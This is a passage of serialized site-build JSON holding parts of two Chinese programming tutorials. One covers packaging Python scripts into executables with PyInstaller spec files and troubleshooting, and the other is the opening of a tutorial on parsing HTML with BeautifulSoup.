noarchive=False)\n",{"type":18,"tag":297,"props":32321,"children":32322},{"class":299,"line":4590},[32323],{"type":18,"tag":297,"props":32324,"children":32325},{},[32326],{"type":24,"value":32327},"pyz = PYZ(a.pure, a.zipped_data,\n",{"type":18,"tag":297,"props":32329,"children":32330},{"class":299,"line":4599},[32331],{"type":18,"tag":297,"props":32332,"children":32333},{},[32334],{"type":24,"value":32335},"             cipher=block_cipher)\n",{"type":18,"tag":297,"props":32337,"children":32338},{"class":299,"line":4607},[32339],{"type":18,"tag":297,"props":32340,"children":32341},{},[32342],{"type":24,"value":32343},"exe = EXE(pyz,\n",{"type":18,"tag":297,"props":32345,"children":32346},{"class":299,"line":4616},[32347],{"type":18,"tag":297,"props":32348,"children":32349},{},[32350],{"type":24,"value":32351},"          a.scripts,\n",{"type":18,"tag":297,"props":32353,"children":32354},{"class":299,"line":4624},[32355],{"type":18,"tag":297,"props":32356,"children":32357},{},[32358],{"type":24,"value":32359},"          a.binaries,\n",{"type":18,"tag":297,"props":32361,"children":32362},{"class":299,"line":4633},[32363],{"type":18,"tag":297,"props":32364,"children":32365},{},[32366],{"type":24,"value":32367},"          a.zipfiles,\n",{"type":18,"tag":297,"props":32369,"children":32370},{"class":299,"line":4641},[32371],{"type":18,"tag":297,"props":32372,"children":32373},{},[32374],{"type":24,"value":32375},"          a.datas,\n",{"type":18,"tag":297,"props":32377,"children":32378},{"class":299,"line":4650},[32379],{"type":18,"tag":297,"props":32380,"children":32381},{},[32382],{"type":24,"value":32383},"          [],\n",{"type":18,"tag":297,"props":32385,"children":32386},{"class":299,"line":4658},[32387],{"type":18,"tag":297,"props":32388,"children":32389},{},[32390],{"type":24,"value":32391},"          name='my_script',\n",{"type":18,"tag":297,"props":32393,"children":32394},{"class":299,"line":4681},[32395],{"type":18,"tag":297,"props":32396,"children":32397},{},[32398],{"type":24,"value":32399},"          debug=False,\n",{"type":18,"tag":297,"props":32401,"children":32402},{"class":299,"line":4703},[32403],{"type":18,"tag":297,"props":32404,"children":32405},{},[32406],{"type":24,"value":32407},"          bootloader_ignore_signals=False,\n",{"type":18,"tag":297,"props":32409,"children":32410},{"class":299,"line":4711},[32411],{"type":18,"tag":297,"props":32412,"children":32413},{},[32414],{"type":24,"value":32415},"          strip=False,\n",{"type":18,"tag":297,"props":32417,"children":32418},{"class":299,"line":4720},[32419],{"type":18,"tag":297,"props":32420,"children":32421},{},[32422],{"type":24,"value":32423},"          upx=True,\n",{"type":18,"tag":297,"props":32425,"children":32426},{"class":299,"line":4728},[32427],{"type":18,"tag":297,"props":32428,"children":32429},{},[32430],{"type":24,"value":32431},"          upx_exclude=[],\n",{"type":18,"tag":297,"props":32433,"children":32434},{"class":299,"line":13515},[32435],{"type":18,"tag":297,"props":32436,"children":32437},{},[32438],{"type":24,"value":32439},"          runtime_tmpdir=None,\n",{"type":18,"tag":297,"props":32441,"children":32442},{"class":299,"line":13553},[32443],{"type":18,"tag":297,"props":32444,"children":32445},{},[32446],{"type":24,"value":32447},"          console=True)\n",{"type":18,"tag":34,"props":32449,"children":32450},{},[32451],{"type":24,"value":32452},"修改 spec 文件后，使用以下命令进行打包：",{"type":18,"tag":287,"props":32454,"children":32456},{"className":289,"code":32455,"language":291,"meta":8,"style":8},"pyinstaller my_script.spec\n",[32457],{"type":18,"tag":74,"props":32458,"children":32459},{"__ignoreMap":8},[32460],{"type":18,"tag":297,"props":32461,"children":32462},{"class":299,"line":300},[32463,32467],{"type":18,"tag":297,"props":32464,"children":32465},{"style":304},[32466],{"type":24,"value":30751},{"type":18,"tag":297,"props":32468,"children":32469},{"style":310},[32470],{"type":24,"value":32471}," my_script.spec\n",{"type":18,"tag":27,"props":32473,"children":32475},{"id":32474},"spec-文件高级配置示例",[32476],{"type":24,"value":32477},"spec 文件高级配置示例",{"type":18,"tag":34,"props":32479,"children":32480},{},[32481],{"type":24,"value":32482},"添加数据文件：",{"type":18,"tag":287,"props":32484,"children":32486},{"className":28710,"code":32485,"language":28712,"meta":8,"style":8},"datas=[('data\u002F*.txt', 'data'), ('images\u002F*.png', 'images')],\n",[32487],{"type":18,"tag":74,"props":32488,"children":32489},{"__ignoreMap":8},[32490],{"type":18,"tag":297,"props":32491,"children":32492},{"class":299,"line":300},[32493],{"type":18,"tag":297,"props":32494,"children":32495},{},[32496],{"type":24,"value":32485},{"type":18,"tag":34,"props":32498,"children":32499},{},[32500],{"type":24,"value":32501},"添加隐藏导入：",{"type":18,"tag":287,"props":32503,"children":32505},{"className":28710,"code":32504,"language":28712,"meta":8,"style":8},"hiddenimports=['module1', 'module2.submodule'],\n",[32506],{"type":18,"tag":74,"props":32507,"children":32508},{"__ignoreMap":8},[32509],{"type":18,"tag":297,"props":32510,"children":32511},{"class":299,"line":300},[32512],{"type":18,"tag":297,"props":32513,"children":32514},{},[32515],{"type":24,"value":32504},{"type":18,"tag":34,"props":32517,"children":32518},{},[32519],{"type":24,"value":32520},"设置图标和其他属性：",{"type":18,"tag":287,"props":32522,"children":32524},{"className":28710,"code":32523,"language":28712,"meta":8,"style":8},"exe = EXE(pyz,\n          a.scripts,\n          a.binaries,\n          a.zipfiles,\n          a.datas,\n          [],\n          name='MyApplication',\n          debug=False,\n          icon='app_icon.ico',  # 设置图标\n          console=False,  # 不显示控制台\n          upx=True,\n          upx_exclude=[],\n          runtime_tmpdir=None)\n",[32525],{"type":18,"tag":74,"props":32526,"children":32527},{"__ignoreMap":8},[32528,32535,32542,32549,32556,32563,32570,32578,32585,32593,32601,32608,32615],{"type":18,"tag":297,"props":32529,"children":32530},{"class":299,"line":300},[32531],{"type":18,"tag":297,"props":32532,"children":32533},{},[32534],{"type":24,"value":32343},{"type":18,"tag":297,"props":32536,"children":32537},{"class":299,"line":657},[32538],{"type":18,"tag":297,"props":32539,"children":32540},{},[32541],{"type":24,"value":32351},{"type":18,"tag":297,"props":32543,"children":32544},{"class":299,"line":662},[32545],{"type":18,"tag":297,"props":32546,"children":32547},{},[32548],{"type":24,"value":32359},{"type":18,"tag":297,"props":32550,"children":32551},{"class":299,"line":799},[32552],{"type":18,"tag":297,"props":32553,"children":32554},{},[32555],{"type":24,"value":32367},{"type":18,"tag":297,"props":32557,"children":32558},{"class":299,"line":808},[32559],{"type":18,"tag":297,"props":32560,"children":32561},{},[32562],{"type":24,"value":32375},{"type":18,"tag":297,"props":32564,"children":32565},{"class":299,"line":817},[32566],{"type":18,"tag":297,"props":32567,"children":32568},{},[32569],{"type":24,"value":32383},{"type":18,"tag":297,"props":32571,"children":32572},{"class":299,"line":826},[32573],{"type":18,"tag":297,"props":32574,"children":32575},{},[32576],{"type":24,"value":32577},"          name='MyApplication',\n",{"type":18,"tag":297,"props":32579,"children":32580},{"class":299,"line":4524},[32581],{"type":18,"tag":297,"props":32582,"children":32583},{},[32584],{"type":24,"value":32399},{"type":18,"tag":297,"props":32586,"children":32587},{"class":299,"line":4533},[32588],{"type":18,"tag":297,"props":32589,"children":32590},{},[32591],{"type":24,"value":32592},"          icon='app_icon.ico',  # 设置图标\n",{"type":18,"tag":297,"props":32594,"children":32595},{"class":299,"line":4546},[32596],{"type":18,"tag":297,"props":32597,"children":32598},{},[32599],{"type":24,"value":32600},"          console=False,  # 不显示控制台\n",{"type":18,"tag":297,"props":32602,"children":32603},{"class":299,"line":4555},[32604],{"type":18,"tag":297,"props":32605,"children":32606},{},[32607],{"type":24,"value":32423},{"type":18,"tag":297,"props":32609,"children":32610},{"class":299,"line":4568},[32611],{"type":18,"tag":297,"props":32612,"children":32613},{},[32614],{"type":24,"value":32431},{"type":18,"tag":297,"props":32616,"children":32617},{"class":299,"line":4577},[32618],{"type":18,"tag":297,"props":32619,"children":32620},{},[32621],{"type":24,"value":32622},"          runtime_tmpdir=None)\n",{"type":18,"tag":19,"props":32624,"children":32626},{"id":32625},"五常见问题及解决方法",[32627],{"type":24,"value":32628},"五、常见问题及解决方法",{"type":18,"tag":121,"props":32630,"children":32631},{},[],{"type":18,"tag":27,"props":32633,"children":32635},{"id":32634},"_1-打包后运行提示缺少模块",[32636],{"type":24,"value":32637},"1. 打包后运行提示缺少模块",{"type":18,"tag":34,"props":32639,"children":32640},{},[32641,32643,32649],{"type":24,"value":32642},"解决方法：使用 ",{"type":18,"tag":74,"props":32644,"children":32646},{"className":32645},[],[32647],{"type":24,"value":32648},"--hidden-import",{"type":24,"value":32650}," 参数手动指定缺少的模块",{"type":18,"tag":287,"props":32652,"children":32654},{"className":289,"code":32653,"language":291,"meta":8,"style":8},"pyinstaller -F --hidden-import=missing_module my_script.py\n",[32655],{"type":18,"tag":74,"props":32656,"children":32657},{"__ignoreMap":8},[32658],{"type":18,"tag":297,"props":32659,"children":32660},{"class":299,"line":300},[32661,32665,32669,32674],{"type":18,"tag":297,"props":32662,"children":32663},{"style":304},[32664],{"type":24,"value":30751},{"type":18,"tag":297,"props":32666,"children":32667},{"style":906},[32668],{"type":24,"value":30901},{"type":18,"tag":297,"props":32670,"children":32671},{"style":906},[32672],{"type":24,"value":32673}," --hidden-import=missing_module",{"type":18,"tag":297,"props":32675,"children":32676},{"style":310},[32677],{"type":24,"value":32195},{"type":18,"tag":27,"props":32679,"children":32681},{"id":32680},"_2-数据文件无法访问",[32682],{"type":24,"value":32683},"2. 数据文件无法访问",{"type":18,"tag":34,"props":32685,"children":32686},{},[32687],{"type":24,"value":32688},"解决方法：",{"type":18,"tag":154,"props":32690,"children":32691},{},[32692,32704],{"type":18,"tag":158,"props":32693,"children":32694},{},[32695,32696,32702],{"type":24,"value":6499},{"type":18,"tag":74,"props":32697,"children":32699},{"className":32698},[],[32700],{"type":24,"value":32701},"--add-data",{"type":24,"value":32703}," 参数添加数据文件",{"type":18,"tag":158,"props":32705,"children":32706},{},[32707],{"type":24,"value":32708},"在代码中使用正确的路径访问数据文件，推荐使用以下方法获取数据文件路径：",{"type":18,"tag":287,"props":32710,"children":32712},{"className":28710,"code":32711,"language":28712,"meta":8,"style":8},"import sys\nimport os\n\ndef get_resource_path(relative_path):\n    \"\"\"获取资源文件的绝对路径\"\"\"\n    if getattr(sys, 'frozen', False):\n        # 打包后的环境\n        base_path = sys._MEIPASS\n    else:\n        # 开发环境\n        base_path = os.path.abspath(\".\")\n    return os.path.join(base_path, relative_path)\n\n# 使用示例\ndata_file_path = get_resource_path('data\u002Fconfig.ini')\n",[32713],{"type":18,"tag":74,"props":32714,"children":32715},{"__ignoreMap":8},[32716,32724,32732,32739,32747,32755,32763,32771,32779,32787,32795,32803,32811,32818,32826],{"type":18,"tag":297,"props":32717,"children":32718},{"class":299,"line":300},[32719],{"type":18,"tag":297,"props":32720,"children":32721},{},[32722],{"type":24,"value":32723},"import sys\n",{"type":18,"tag":297,"props":32725,"children":32726},{"class":299,"line":657},[32727],{"type":18,"tag":297,"props":32728,"children":32729},{},[32730],{"type":24,"value":32731},"import os\n",{"type":18,"tag":297,"props":32733,"children":32734},{"class":299,"line":662},[32735],{"type":18,"tag":297,"props":32736,"children":32737},{"emptyLinePlaceholder":793},[32738],{"type":24,"value":796},{"type":18,"tag":297,"props":32740,"children":32741},{"class":299,"line":799},[32742],{"type":18,"tag":297,"props":32743,"children":32744},{},[32745],{"type":24,"value":32746},"def get_resource_path(relative_path):\n",{"type":18,"tag":297,"props":32748,"children":32749},{"class":299,"line":808},[32750],{"type":18,"tag":297,"props":32751,"children":32752},{},[32753],{"type":24,"value":32754},"    \"\"\"获取资源文件的绝对路径\"\"\"\n",{"type":18,"tag":297,"props":32756,"children":32757},{"class":299,"line":817},[32758],{"type":18,"tag":297,"props":32759,"children":32760},{},[32761],{"type":24,"value":32762},"    if getattr(sys, 'frozen', False):\n",{"type":18,"tag":297,"props":32764,"children":32765},{"class":299,"line":826},[32766],{"type":18,"tag":297,"props":32767,"children":32768},{},[32769],{"type":24,"value":32770},"        # 打包后的环境\n",{"type":18,"tag":297,"props":32772,"children":32773},{"class":299,"line":4524},[32774],{"type":18,"tag":297,"props":32775,"children":32776},{},[32777],{"type":24,"value":32778},"        base_path = sys._MEIPASS\n",{"type":18,"tag":297,"props":32780,"children":32781},{"class":299,"line":4533},[32782],{"type":18,"tag":297,"props":32783,"children":32784},{},[32785],{"type":24,"value":32786},"    else:\n",{"type":18,"tag":297,"props":32788,"children":32789},{"class":299,"line":4546},[32790],{"type":18,"tag":297,"props":32791,"children":32792},{},[32793],{"type":24,"value":32794},"        # 开发环境\n",{"type":18,"tag":297,"props":32796,"children":32797},{"class":299,"line":4555},[32798],{"type":18,"tag":297,"props":32799,"children":32800},{},[32801],{"type":24,"value":32802},"        base_path = os.path.abspath(\".\")\n",{"type":18,"tag":297,"props":32804,"children":32805},{"class":299,"line":4568},[32806],{"type":18,"tag":297,"props":32807,"children":32808},{},[32809],{"type":24,"value":32810},"    return os.path.join(base_path, relative_path)\n",{"type":18,"tag":297,"props":32812,"children":32813},{"class":299,"line":4577},[32814],{"type":18,"tag":297,"props":32815,"children":32816},{"emptyLinePlaceholder":793},[32817],{"type":24,"value":796},{"type":18,"tag":297,"props":32819,"children":32820},{"class":299,"line":4590},[32821],{"type":18,"tag":297,"props":32822,"children":32823},{},[32824],{"type":24,"value":32825},"# 使用示例\n",{"type":18,"tag":297,"props":32827,"children":32828},{"class":299,"line":4599},[32829],{"type":18,"tag":297,"props":32830,"children":32831},{},[32832],{"type":24,"value":32833},"data_file_path = get_resource_path('data\u002Fconfig.ini')\n",{"type":18,"tag":27,"props":32835,"children":32837},{"id":32836},"_3-打包后的文件体积过大",[32838],{"type":24,"value":32839},"3. 打包后的文件体积过大",{"type":18,"tag":34,"props":32841,"children":32842},{},[32843],{"type":24,"value":32688},{"type":18,"tag":154,"props":32845,"children":32846},{},[32847],{"type":18,"tag":158,"props":32848,"children":32849},{},[32850],{"type":24,"value":32851},"使用 UPX 压缩（需要先安装 UPX）",{"type":18,"tag":287,"props":32853,"children":32855},{"className":289,"code":32854,"language":291,"meta":8,"style":8},"pyinstaller -F --upx-dir=.\u002Fupx my_script.py\n",[32856],{"type":18,"tag":74,"props":32857,"children":32858},{"__ignoreMap":8},[32859],{"type":18,"tag":297,"props":32860,"children":32861},{"class":299,"line":300},[32862,32866,32870,32874],{"type":18,"tag":297,"props":32863,"children":32864},{"style":304},[32865],{"type":24,"value":30751},{"type":18,"tag":297,"props":32867,"children":32868},{"style":906},[32869],{"type":24,"value":30901},{"type":18,"tag":297,"props":32871,"children":32872},{"style":906},[32873],{"type":24,"value":32069},{"type":18,"tag":297,"props":32875,"children":32876},{"style":310},[32877],{"type":24,"value":32195},{"type":18,"tag":154,"props":32879,"children":32880},{"start":657},[32881],{"type":18,"tag":158,"props":32882,"children":32883},{},[32884],{"type":24,"value":32885},"排除不必要的模块",{"type":18,"tag":287,"props":32887,"children":32889},{"className":289,"code":32888,"language":291,"meta":8,"style":8},"pyinstaller -F --exclude-module=matplotlib --exclude-module=numpy my_script.py\n",[32890],{"type":18,"tag":74,"props":32891,"children":32892},{"__ignoreMap":8},[32893],{"type":18,"tag":297,"props":32894,"children":32895},{"class":299,"line":300},[32896,32900,32904,32909,32914],{"type":18,"tag":297,"props":32897,"children":32898},{"style":304},[32899],{"type":24,"value":30751},{"type":18,"tag":297,"props":32901,"children":32902},{"style":906},[32903],{"type":24,"value":30901},{"type":18,"tag":297,"props":32905,"children":32906},{"style":906},[32907],{"type":24,"value":32908}," --exclude-module=matplotlib",{"type":18,"tag":297,"props":32910,"children":32911},{"style":906},[32912],{"type":24,"value":32913}," --exclude-module=numpy",{"type":18,"tag":297,"props":32915,"children":32916},{"style":310},[32917],{"type":24,"value":32195},{"type":18,"tag":154,"props":32919,"children":32920},{"start":662},[32921],{"type":18,"tag":158,"props":32922,"children":32923},{},[32924],{"type":24,"value":32925},"使用虚拟环境，只安装必要的依赖",{"type":18,"tag":27,"props":32927,"children":32929},{"id":32928},"_4-打包后程序运行闪退",[32930],{"type":24,"value":32931},"4. 打包后程序运行闪退",{"type":18,"tag":34,"props":32933,"children":32934},{},[32935],{"type":24,"value":32688},{"type":18,"tag":154,"props":32937,"children":32938},{},[32939],{"type":18,"tag":158,"props":32940,"children":32941},{},[32942,32944,32949],{"type":24,"value":32943},"不使用 ",{"type":18,"tag":74,"props":32945,"children":32947},{"className":32946},[],[32948],{"type":24,"value":31032},{"type":24,"value":32950}," 参数，显示控制台窗口，查看错误信息",{"type":18,"tag":287,"props":32952,"children":32954},{"className":289,"code":32953,"language":291,"meta":8,"style":8},"pyinstaller -F my_script.py  # 不添加 -w 参数\n",[32955],{"type":18,"tag":74,"props":32956,"children":32957},{"__ignoreMap":8},[32958],{"type":18,"tag":297,"props":32959,"children":32960},{"class":299,"line":300},[32961,32965,32969,32974],{"type":18,"tag":297,"props":32962,"children":32963},{"style":304},[32964],{"type":24,"value":30751},{"type":18,"tag":297,"props":32966,"children":32967},{"style":906},[32968],{"type":24,"value":30901},{"type":18,"tag":297,"props":32970,"children":32971},{"style":310},[32972],{"type":24,"value":32973}," my_script.py",{"type":18,"tag":297,"props":32975,"children":32976},{"style":5380},[32977],{"type":24,"value":32978},"  # 不添加 -w 参数\n",{"type":18,"tag":154,"props":32980,"children":32981},{"start":657},[32982],{"type":18,"tag":158,"props":32983,"children":32984},{},[32985],{"type":24,"value":32986},"检查是否有相对路径问题，确保所有文件路径都使用绝对路径或上述的资源路径获取方法",{"type":18,"tag":19,"props":32988,"children":32990},{"id":32989},"六完整示例",[32991],{"type":24,"value":32992},"六、完整示例",{"type":18,"tag":121,"props":32994,"children":32995},{},[],{"type":18,"tag":27,"props":32997,"children":32999},{"id":32998},"示例-1打包一个简单的命令行程序",[33000],{"type":24,"value":33001},"示例 1：打包一个简单的命令行程序",{"type":18,"tag":287,"props":33003,"children":33005},{"className":289,"code":33004,"language":291,"meta":8,"style":8},"# 打包成单个文件，显示控制台，指定名称为 \"calculator\"\npyinstaller -F -n calculator calculator.py\n",[33006],{"type":18,"tag":74,"props":33007,"children":33008},{"__ignoreMap":8},[33009,33017],{"type":18,"tag":297,"props":33010,"children":33011},{"class":299,"line":300},[33012],{"type":18,"tag":297,"props":33013,"children":33014},{"style":5380},[33015],{"type":24,"value":33016},"# 打包成单个文件，显示控制台，指定名称为 \"calculator\"\n",{"type":18,"tag":297,"props":33018,"children":33019},{"class":299,"line":657},[33020,33024,33028,33032,33037],{"type":18,"tag":297,"props":33021,"children":33022},{"style":304},[33023],{"type":24,"value":30751},{"type":18,"tag":297,"props":33025,"children":33026},{"style":906},[33027],{"type":24,"value":30901},{"type":18,"tag":297,"props":33029,"children":33030},{"style":906},[33031],{"type":24,"value":30080},{"type":18,"tag":297,"props":33033,"children":33034},{"style":310},[33035],{"type":24,"value":33036}," calculator",{"type":18,"tag":297,"props":33038,"children":33039},{"style":310},[33040],{"type":24,"value":33041}," calculator.py\n",{"type":18,"tag":27,"props":33043,"children":33045},{"id":33044},"示例-2打包一个-tkinter-gui-程序",[33046],{"type":24,"value":33047},"示例 2：打包一个 Tkinter GUI 程序",{"type":18,"tag":287,"props":33049,"children":33051},{"className":289,"code":33050,"language":291,"meta":8,"style":8},"# 打包成单个文件，不显示控制台，指定图标，添加数据文件\npyinstaller -F -w -i app_icon.ico --add-data=\"images\u002F*;images\" my_gui_app.py\n",[33052],{"type":18,"tag":74,"props":33053,"children":33054},{"__ignoreMap":8},[33055,33063],{"type":18,"tag":297,"props":33056,"children":33057},{"class":299,"line":300},[33058],{"type":18,"tag":297,"props":33059,"children":33060},{"style":5380},[33061],{"type":24,"value":33062},"# 打包成单个文件，不显示控制台，指定图标，添加数据文件\n",{"type":18,"tag":297,"props":33064,"children":33065},{"class":299,"line":657},[33066,33070,33074,33078,33082,33086,33090,33095],{"type":18,"tag":297,"props":33067,"children":33068},{"style":304},[33069],{"type":24,"value":30751},{"type":18,"tag":297,"props":33071,"children":33072},{"style":906},[33073],{"type":24,"value":30901},{"type":18,"tag":297,"props":33075,"children":33076},{"style":906},[33077],{"type":24,"value":31070},{"type":18,"tag":297,"props":33079,"children":33080},{"style":906},[33081],{"type":24,"value":31272},{"type":18,"tag":297,"props":33083,"children":33084},{"style":310},[33085],{"type":24,"value":31277},{"type":18,"tag":297,"props":33087,"children":33088},{"style":906},[33089],{"type":24,"value":31543},{"type":18,"tag":297,"props":33091,"children":33092},{"style":310},[33093],{"type":24,"value":33094},"\"images\u002F*;images\"",{"type":18,"tag":297,"props":33096,"children":33097},{"style":310},[33098],{"type":24,"value":33099}," my_gui_app.py\n",{"type":18,"tag":27,"props":33101,"children":33103},{"id":33102},"示例-3使用-spec-文件打包复杂应用",[33104],{"type":24,"value":33105},"示例 3：使用 spec 文件打包复杂应用",{"type":18,"tag":154,"props":33107,"children":33108},{},[33109],{"type":18,"tag":158,"props":33110,"children":33111},{},[33112],{"type":24,"value":33113},"生成 spec 文件：",{"type":18,"tag":287,"props":33115,"children":33117},{"className":289,"code":33116,"language":291,"meta":8,"style":8},"pyi-makespec --name \"MyApp\" --icon \"app_icon.ico\" --windowed my_app.py\n",[33118],{"type":18,"tag":74,"props":33119,"children":33120},{"__ignoreMap":8},[33121],{"type":18,"tag":297,"props":33122,"children":33123},{"class":299,"line":300},[33124,33128,33133,33138,33143,33148,33153],{"type":18,"tag":297,"props":33125,"children":33126},{"style":304},[33127],{"type":24,"value":32190},{"type":18,"tag":297,"props":33129,"children":33130},{"style":906},[33131],{"type":24,"value":33132}," --name",{"type":18,"tag":297,"props":33134,"children":33135},{"style":310},[33136],{"type":24,"value":33137}," \"MyApp\"",{"type":18,"tag":297,"props":33139,"children":33140},{"style":906},[33141],{"type":24,"value":33142}," --icon",{"type":18,"tag":297,"props":33144,"children":33145},{"style":310},[33146],{"type":24,"value":33147}," \"app_icon.ico\"",{"type":18,"tag":297,"props":33149,"children":33150},{"style":906},[33151],{"type":24,"value":33152}," --windowed",{"type":18,"tag":297,"props":33154,"children":33155},{"style":310},[33156],{"type":24,"value":33157}," my_app.py\n",{"type":18,"tag":154,"props":33159,"children":33160},{"start":657},[33161],{"type":18,"tag":158,"props":33162,"children":33163},{},[33164],{"type":24,"value":33165},"编辑 spec 文件，添加数据和隐藏导入：",{"type":18,"tag":287,"props":33167,"children":33169},{"className":28710,"code":33168,"language":28712,"meta":8,"style":8},"a = Analysis(['my_app.py'],\n             pathex=['\u002Fpath\u002Fto\u002Fapp'],\n             binaries=[],\n             datas=[('assets\u002F*', 'assets'), ('config\u002F*.json', 'config')],\n             hiddenimports=['pandas', 'requests'],\n             # 其他默认配置...\n            )\n# 其他配置...\nexe = EXE(pyz,\n          # 其他配置...\n          console=False,\n          icon='app_icon.ico'\n         )\n",[33170],{"type":18,"tag":74,"props":33171,"children":33172},{"__ignoreMap":8},[33173,33181,33189,33196,33204,33212,33220,33228,33236,33243,33251,33259,33267],{"type":18,"tag":297,"props":33174,"children":33175},{"class":299,"line":300},[33176],{"type":18,"tag":297,"props":33177,"children":33178},{},[33179],{"type":24,"value":33180},"a = Analysis(['my_app.py'],\n",{"type":18,"tag":297,"props":33182,"children":33183},{"class":299,"line":657},[33184],{"type":18,"tag":297,"props":33185,"children":33186},{},[33187],{"type":24,"value":33188},"             pathex=['\u002Fpath\u002Fto\u002Fapp'],\n",{"type":18,"tag":297,"props":33190,"children":33191},{"class":299,"line":662},[33192],{"type":18,"tag":297,"props":33193,"children":33194},{},[33195],{"type":24,"value":32247},{"type":18,"tag":297,"props":33197,"children":33198},{"class":299,"line":799},[33199],{"type":18,"tag":297,"props":33200,"children":33201},{},[33202],{"type":24,"value":33203},"             datas=[('assets\u002F*', 'assets'), ('config\u002F*.json', 'config')],\n",{"type":18,"tag":297,"props":33205,"children":33206},{"class":299,"line":808},[33207],{"type":18,"tag":297,"props":33208,"children":33209},{},[33210],{"type":24,"value":33211},"             hiddenimports=['pandas', 'requests'],\n",{"type":18,"tag":297,"props":33213,"children":33214},{"class":299,"line":817},[33215],{"type":18,"tag":297,"props":33216,"children":33217},{},[33218],{"type":24,"value":33219},"             # 其他默认配置...\n",{"type":18,"tag":297,"props":33221,"children":33222},{"class":299,"line":826},[33223],{"type":18,"tag":297,"props":33224,"children":33225},{},[33226],{"type":24,"value":33227},"            )\n",{"type":18,"tag":297,"props":33229,"children":33230},{"class":299,"line":4524},[33231],{"type":18,"tag":297,"props":33232,"children":33233},{},[33234],{"type":24,"value":33235},"# 其他配置...\n",{"type":18,"tag":297,"props":33237,"children":33238},{"class":299,"line":4533},[33239],{"type":18,"tag":297,"props":33240,"children":33241},{},[33242],{"type":24,"value":32343},{"type":18,"tag":297,"props":33244,"children":33245},{"class":299,"line":4546},[33246],{"type":18,"tag":297,"props":33247,"children":33248},{},[33249],{"type":24,"value":33250},"          # 其他配置...\n",{"type":18,"tag":297,"props":33252,"children":33253},{"class":299,"line":4555},[33254],{"type":18,"tag":297,"props":33255,"children":33256},{},[33257],{"type":24,"value":33258},"          console=False,\n",{"type":18,"tag":297,"props":33260,"children":33261},{"class":299,"line":4568},[33262],{"type":18,"tag":297,"props":33263,"children":33264},{},[33265],{"type":24,"value":33266},"          icon='app_icon.ico'\n",{"type":18,"tag":297,"props":33268,"children":33269},{"class":299,"line":4577},[33270],{"type":18,"tag":297,"props":33271,"children":33272},{},[33273],{"type":24,"value":33274},"         )\n",{"type":18,"tag":154,"props":33276,"children":33277},{"start":662},[33278],{"type":18,"tag":158,"props":33279,"children":33280},{},[33281],{"type":24,"value":33282},"使用 spec 文件打包：",{"type":18,"tag":287,"props":33284,"children":33286},{"className":289,"code":33285,"language":291,"meta":8,"style":8},"pyinstaller MyApp.spec\n",[33287],{"type":18,"tag":74,"props":33288,"children":33289},{"__ignoreMap":8},[33290],{"type":18,"tag":297,"props":33291,"children":33292},{"class":299,"line":300},[33293,33297],{"type":18,"tag":297,"props":33294,"children":33295},{"style":304},[33296],{"type":24,"value":30751},{"type":18,"tag":297,"props":33298,"children":33299},{"style":310},[33300],{"type":24,"value":33301}," MyApp.spec\n",{"type":18,"tag":651,"props":33303,"children":33304},{},[33305],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":33307},[33308,33309,33310,33317,33320,33326],{"id":30690,"depth":657,"text":30693},{"id":30764,"depth":657,"text":30767},{"id":30848,"depth":657,"text":30851,"children":33311},[33312,33313,33314,33315,33316],{"id":30857,"depth":662,"text":30860},{"id":31019,"depth":662,"text":31022},{"id":31143,"depth":662,"text":31146},{"id":31323,"depth":662,"text":31326},{"id":31902,"depth":662,"text":31905},{"id":32167,"depth":657,"text":32170,"children":33318},[33319],{"id":32474,"depth":662,"text":32477},{"id":32625,"depth":657,"text":32628,"children":33321},[33322,33323,33324,33325],{"id":32634,"depth":662,"text":32637},{"id":32680,"depth":662,"text":32683},{"id":32836,"depth":662,"text":32839},{"id":32928,"depth":662,"text":32931},{"id":32989,"depth":657,"text":32992,"children":33327},[33328,33329,33330],{"id":32998,"depth":662,"text":33001},{"id":33044,"depth":662,"text":33047},{"id":33102,"depth":662,"text":33105},"content:blog:2026-02-25-pyinstaller-guide.md","blog\u002F2026-02-25-pyinstaller-guide.md","blog\u002F2026-02-25-pyinstaller-guide",{"_path":33335,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":33336,"description":33337,"date":33338,"tags":33339,"body":33341,"_type":672,"_id":34576,"_source":674,"_file":34577,"_stem":34578,"_extension":677},"\u002Fblog\u002F2026-02-20-beautifulsoup-guide","BeautifulSoup 使用说明","Python BeautifulSoup 库使用教程，HTML\u002FXML解析、节点导航、搜索与CSS选择器实战。","2026-02-20",[28616,33340,8897],"爬虫",{"type":15,"children":33342,"toc":34570},[33343,33349,33354,33372,33390,33395,33400,33425,33469,33474,33479,33518,33524,33529,33543,33549,33572,33591,33622,33632,33637,33647,33670,33674,33721,33744,33749,33761,33784,33788,33834,33839,33851,33865,33869,33899,33904,33916,33960,33985,33990,33995,34003,34023,34053,34061,34074,34104,34112,34117,34132,34162,34193,34201,34238,34276,34281,34294,34299,34313,34322,34327,34341,34363,34403,34412,34417,34440,34449,34454,34477,34483,34495,34508,34555,34566],{"type":18,"tag":27,"props":33344,"children":33346},{"id":33345},"beautifulsoup介绍",[33347],{"type":24,"value":33348},"BeautifulSoup介绍",{"type":18,"tag":34,"props":33350,"children":33351},{},[33352],{"type":24,"value":33353},"BeautifulSoup是一个用于从HTML和XML文件中提取数据的Python库。它将自动将输入的文档转换为Unicode编码，输出文档转换为UTF-8编码。其主要功能有：",{"type":18,"tag":210,"props":33355,"children":33356},{},[33357,33362,33367],{"type":18,"tag":158,"props":33358,"children":33359},{},[33360],{"type":24,"value":33361},"导航",{"type":18,"tag":158,"props":33363,"children":33364},{},[33365],{"type":24,"value":33366},"搜索",{"type":18,"tag":158,"props":33368,"children":33369},{},[33370],{"type":24,"value":33371},"修改分析树",{"type":18,"tag":96,"props":33373,"children":33374},{},[33375,33385],{"type":18,"tag":34,"props":33376,"children":33377},{},[33378,33383],{"type":18,"tag":105,"props":33379,"children":33380},{},[33381],{"type":24,"value":33382},"Warning:",{"type":24,"value":33384}," 注意",{"type":18,"tag":34,"props":33386,"children":33387},{},[33388],{"type":24,"value":33389},"一般情况下不需要考虑编码方式，除非文档没有指定一个编码方式，因此遇到BeautifulSoup不能自动识别编码方式的情况，只需要说明一下原始编码方式即可。",{"type":18,"tag":27,"props":33391,"children":33393},{"id":33392},"环境准备",[33394],{"type":24,"value":33392},{"type":18,"tag":34,"props":33396,"children":33397},{},[33398],{"type":24,"value":33399},"Windows使用前需要安装库，终端指令如下：",{"type":18,"tag":287,"props":33401,"children":33405},{"className":33402,"code":33403,"language":33404,"meta":8,"style":8},"language-shell shiki shiki-themes github-dark","pip install 